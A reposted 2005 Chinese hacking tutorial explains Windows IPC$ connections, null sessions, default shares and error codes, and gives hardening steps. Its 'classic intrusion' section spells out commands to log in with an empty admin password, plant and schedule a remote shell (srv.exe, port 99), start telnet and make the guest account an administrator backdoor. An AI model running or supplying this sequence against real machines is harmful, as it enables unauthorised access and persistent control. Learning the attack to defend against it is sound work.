登录社区:用户名: 密码: 忘记密码 网页功能:加入收藏 设为首页 网站搜索  

文档

下载

图书

论坛

安全

源码

硬件

游戏
首页 信息 空间 VB VC Delphi Java Flash 补丁 控件 安全 黑客 电子书 笔记本 手机 MP3 杀毒 QQ群 产品库 分类信息 编程网站
 内容搜索 网页 下载 源代码
热点文章
  一次简单脚本攻击实例
  我是这样渗透入侵孤独剑客网..
  入侵日记一则
  入侵日记一则
  老式模拟手机密码破解
  老式模拟手机密码破解
  中国鹰派联盟
  初级黑客安全技术命令详解
  如何利用终端服务入侵远程计..
  如何利用终端服务入侵远程计..
  “流光异彩”话小榕
  一次入侵过程
本站原创
最新招聘信息

您现在的位置:立华软件园->安全防线->黑客教学
安全研究:IPC攻击详解
发表日期:2005-08-30作者:[转贴] 出处:中国X黑客  

  一 唠叨一下:
  网上关于ipc$入侵的文章可谓多如牛毛,而且也不乏优秀之作,攻击步骤甚至可以说已经成为经典的模式,因此也没人愿意再把这已经成为定式的东西拿出来摆弄。

  不过话虽这样说,但我个人认为这些文章讲解的并不详细,对于第一次接触ipc$的菜鸟来说,简单的罗列步骤并不能解答他们的许多迷惑(你随便找一个hack论坛搜一下ipc,看存在的疑惑有多少)。

  二 什么是ipc$
  
  IPC$(Internet Process Connection)是共享"命名管道"的资源(大家都是这么说的),它是为了让进程间通信而开放的命名管道,可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用。

  利用IPC$,连接者甚至可以与目标主机建立一个空的连接而无需用户名与密码(当然,对方机器必须开了ipc$共享,否则你是连接不上的),而利用这个空的连接,连接者还可以得到目标主机上的用户列表(不过负责的管理员会禁止导出用户列表的)。

  我们总在说ipc$漏洞ipc$漏洞,其实,ipc$并不是真正意义上的漏洞,它是为了方便管理员的远程管理而开放的远程网络登陆功能,而且还打开了默认共享,即所有的逻辑盘(c$,d$,e$......)和系统目录winnt或windows(admin$)。

  所有的这些,初衷都是为了方便管理员的管理,但好的初衷并不一定有好的收效,一些别有用心者(到底是什么用心?我也不知道,代词一个)会利用IPC$,访问共享资源,导出用户列表,并使用一些字典工具,进行密码探测,寄希望于获得更高的权限,从而达到不可告人的目的。

  解惑:
  1)IPC连接是Windows NT及以上系统中特有的远程网络登陆功能,其功能相当于Unix中的Telnet,由于IPC$功能需要用到Windows NT中的很多DLL函数,所以不能在Windows 9.x中运行。

  也就是说只有nt/2000/xp才可以建立ipc$连接,98/me是不能建立ipc$连接的(但有些朋友说在98下能建立空的连接,不知道是真是假,不过现在都2003年了,建议98的同志换一下系统吧,98不爽的)

  2)即使是空连接也不是100%都能建立成功,如果对方关闭了ipc$共享,你仍然无法建立连接

  3)并不是说建立了ipc$连接就可以查看对方的用户列表,因为管理员可以禁止导出用户列表

  三 建立ipc$连接在hack攻击中的作用

  就像上面所说的,即使你建立了一个空的连接,你也可以获得不少的信息(而这些信息往往是入侵中必不可少的),访问部分共享,如果你能够以某一个具有一定权限的用户身份登陆的话,那么你就会得到相应的权限,显然,如果你以管理员身份登陆,嘿嘿,就不用我在多说了吧,what u want,u can do!!

  (基本上可以总结为获取目标信息、管理目标进程和服务,上传木马并运行,如果是2000server,还可以考虑开启终端服务方便控制.怎么样?够厉害吧!)

  不过你也不要高兴的太早,因为管理员的密码不是那么好搞到的,虽然会有一些傻傻的管理员用空口令或者弱智密码,但这毕竟是少数,而且现在不比从前了,随着人们安全意识的提高,管理员们也愈加小心了,得到管理员密码会越来越难的:(

  因此今后你最大的可能就是以极小的权限甚至是没有权限进行连接,你会慢慢的发现ipc$连接并不是万能的,甚至在主机不开启ipc$共享时,你根本就无法连接。

  所以我认为,你不要把ipc$入侵当作终极武器,不要认为它战无不胜,它就像是足球场上射门前的传球,很少会有致命一击的效果,但却是不可缺少的,我觉得这才是ipc$连接在hack入侵中的意义所在。

  四 ipc$与空连接,139,445端口,默认共享的关系

  以上四者的关系可能是菜鸟很困惑的一个问题,不过大部分文章都没有进行特别的说明,其实我理解的也不是很透彻,都是在与大家交流中总结出来的.(一个有良好讨论氛围的BBS可以说是菜鸟的天堂)

  1)ipc$与空连接:

  不需要用户名与密码的ipc$连接即为空连接,一旦你以某个用户或管理员的身份登陆(即以特定的用户名和密码进行ipc$连接),自然就不能叫做空连接了。

  许多人可能要问了,既然可以空连接,那我以后就空连接好了,为什么还要费九牛二虎之力去扫描弱口令,呵呵,原因前面提到过,当你以空连接登陆时,你没有任何权限(很郁闷吧),而你以用户或管理员的身份登陆时,你就会有相应的权限(有权限谁不想呀,所以还是老老实实扫吧,不要偷懒哟)。
  
  2)ipc$与139,445端口:

  ipc$连接可以实现远程登陆及对默认共享的访问;而139端口的开启表示netbios协议的应用,我们可以通过139,445(win2000)端口实现对共享文件/打印机的访问,因此一般来讲,ipc$连接是需要139或445端口来支持的。

  3)ipc$与默认共享

  默认共享是为了方便管理员远程管理而默认开启的共享(你当然可以关闭它),即所有的逻辑盘(c$,d$,e$......)和系统目录winnt或windows(admin$),我们通过ipc$连接可以实现对这些默认共享的访问(前提是对方没有关闭这些默认共享)
  
  五 ipc$连接失败的原因
  以下5个原因是比较常见的:
  1)你的系统不是NT或以上操作系统;
  2)对方没有打开ipc$默认共享
  3)对方未开启139或445端口(惑被防火墙屏蔽)
  4)你的命令输入有误(比如缺少了空格等)
  5)用户名或密码错误(空连接当然无所谓了)

  另外,你也可以根据返回的错误号分析原因:
  错误号5,拒绝访问 : 很可能你使用的用户不是管理员权限的,先提升权限;
  错误号51,Windows 无法找到网络路径 : 网络有问题;
  错误号53,找不到网络路径 : ip地址错误;目标未开机;目标lanmanserver服务未启动;目标有防火墙(端口过滤);
  错误号67,找不到网络名 : 你的lanmanworkstation服务未启动;目标删除了ipc$;
  错误号1219,提供的凭据与已存在的凭据集冲突 : 你已经和对方建立了一个ipc$,请删除再连。
  错误号1326,未知的用户名或错误密码 : 原因很明显了;
  错误号1792,试图登录,但是网络登录服务没有启动 : 目标NetLogon服务未启动。(连接域控会出现此情况)
  错误号2242,此用户的密码已经过期 : 目标有帐号策略,强制定期要求更改密码。
  关于ipc$连不上的问题比较复杂,除了以上的原因,还会有其他一些不确定因素,在此本人无法详细而确定的说明,就*大家自己体会和试验了。

  六?如何打开目标的IPC$(此段引自相关文章)

  首先你需要获得一个不依赖于ipc$的shell,比如sql的cmd扩展、telnet、木马,当然,这shell必须是admin权限的,然后你可以使用shell执行命令 net share ipc$ 来开放目标的ipc$。从上面可以知道,ipc$能否使用还有很多条件。请确认相关服务都已运行,没有就启动它(不知道怎么做的请看net命令的用法),还是不行的话(比如有防火墙,杀不了)建议放弃。

  七?如何防范ipc$入侵

  1禁止空连接进行枚举(此操作并不能阻止空连接的建立,引自《解剖win2000下的空会话》)
  首先运行regedit,找到如下组建[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA]把RestrictAnonymous = DWORD的键值改为:00000001(如果设置为2的话,有一些问题会发生,比如一些WIN的服务出现问题等等)
  2禁止默认共享
  
  1)察看本地共享资源
  运行-cmd-输入net share
  2)删除共享(每次输入一个)
  net share ipc$ /delete
  net share admin$ /delete
  net share c$ /delete
  net share d$ /delete(如果有e,f,......可以继续删除)
  3)停止server服务
  net stop server /y (重新启动后server服务会重新开启)
  4)修改注册表
  运行-regedit
  server版:找到如下主键  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareServer(DWORD)的键值改为:00000000。
  pro版:找到如下主键 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareWks(DWORD)的键值改为:00000000。
  如果上面所说的主键不存在,就新建(右击-新建-双字节值)一个主健再改键值。
  3永久关闭ipc$和默认共享依赖的服务:lanmanserver即server服务
  控制面板-管理工具-服务-找到server服务(右击)-属性-常规-启动类型-已禁用
  4安装防火墙(选中相关设置),或者端口过滤(滤掉139,445等),或者用新版本的优化大师
  5设置复杂密码,防止通过ipc$穷举密码
  八 相关命令

  1)建立空连接:
  net use \\IP\ipc$ "" /user:""????(一定要注意:这一行命令中包含了3个空格)
  2)建立非空连接:
  net use \\IP\ipc$ "用户名" /user:"密码"?? (同样有3个空格)
  3)映射默认共享:
  net use z: \\IP\c$ "密码" /user:"用户名"??? (即可将对方的c盘映射为自己的z盘,其他盘类推)
  如果已经和目标建立了ipc$,则可以直接用IP+盘符+$访问,具体命令 net use z: \\IP\c$
  4)删除一个ipc$连接
  net use \\IP\ipc$ /del
  5)删除共享映射
  net use c: /del 删除映射的c盘,其他盘类推
  net use * /del 删除全部,会有提示要求按y确认

  九 经典入侵模式

  这个入侵模式太经典了,大部分ipc教程都有介绍,我也就拿过来引用了,在此感谢原创作者!(不知道是哪位前辈)
  1. C:\>net use \\127.0.0.1\IPC$ "" /user:"admintitrators"
  这是用《流光》扫到的用户名是administrators,密码为"空"的IP地址(空口令?哇,运气好到家了),如果是打算攻击的话,就可以用这样的命令来与127.0.0.1建立一个连接,因为密码为"空",所以第一个引号处就不用输入,后面一个双引号里的是用户名,输入administrators,命令即可成功完成。
  
  2. C:\>copy srv.exe \\127.0.0.1\admin$
  先复制srv.exe上去,在流光的Tools目录下就有(这里的$是指admin用户的c:\winnt\system32\,大家还可以使用c$、d$,意思是C盘与D盘,这看你要复制到什么地方去了)。
  
  3. C:\>net time \\127.0.0.1
  查查时间,发现127.0.0.1 的当前时间是 2002/3/19 上午 11:00,命令成功完成。
  
  4. C:\>at \\127.0.0.1 11:05 srv.exe
  用at命令启动srv.exe吧(这里设置的时间要比主机时间快,不然你怎么启动啊,呵呵!)
  
  5. C:\>net time \\127.0.0.1
  再查查到时间没有?如果127.0.0.1 的当前时间是 2002/3/19 上午 11:05,那就准备开始下面的命令。
  
  6. C:\>telnet 127.0.0.1 99
  这里会用到Telnet命令吧,注意端口是99。Telnet默认的是23端口,但是我们使用的是SRV在对方计算机中为我们建立一个99端口的Shell。
  虽然我们可以Telnet上去了,但是SRV是一次性的,下次登录还要再激活!所以我们打算建立一个Telnet服务!这就要用到ntlm了
  
  7.C:\>copy ntlm.exe \\127.0.0.1\admin$
  用Copy命令把ntlm.exe上传到主机上(ntlm.exe也是在《流光》的Tools目录中)。
  
  8. C:\WINNT\system32>ntlm
  输入ntlm启动(这里的C:\WINNT\system32>指的是对方计算机,运行ntlm其实是让这个程序在对方计算机上运行)。当出现"DONE"的时候,就说明已经启动正常。然后使用"net start telnet"来开启Telnet服务!
  9. Telnet 127.0.0.1,接着输入用户名与密码就进入对方了,操作就像在DOS上操作一样简单!(然后你想做什么?想做什么就做什么吧,哈哈)
  为了以防万一,我们再把guest激活加到管理组??
  10. C:\>net user guest /active:yes
  将对方的Guest用户激活
  11. C:\>net user guest 1234
  将Guest的密码改为1234,或者你要设定的密码
  12. C:\>net localgroup administrators guest /add
  将Guest变为Administrator^_^(如果管理员密码更改,guest帐号没改变的话,下次我们可以用guest再次访问这台计算机)

  十 总结:
  
  关于ipc入侵就说这么多了,觉得已经够详细了,如果有不准确的地方,希望能与大家讨论。

  最后,希望大家不要随便入侵,我写这篇文章的目的是想解答大家的疑惑,并不是鼓励大家随便的入侵。

 

我来说两句】 【发送给朋友】 【加入收藏】 【返加顶部】 【打印本页】 【关闭窗口
中搜索 安全研究:IPC攻击详解
关于我们 / 合作推广 / 给我留言 / 版权举报 / 意见建议 / 广告投放 / 友情链接

Copyright ©2001-2003 Allrights reserved
e_mail:站长:webmaster(at)lihuasoft.net
网站编程QQ群  
京ICP备05001064号

页面生成时间:0.00873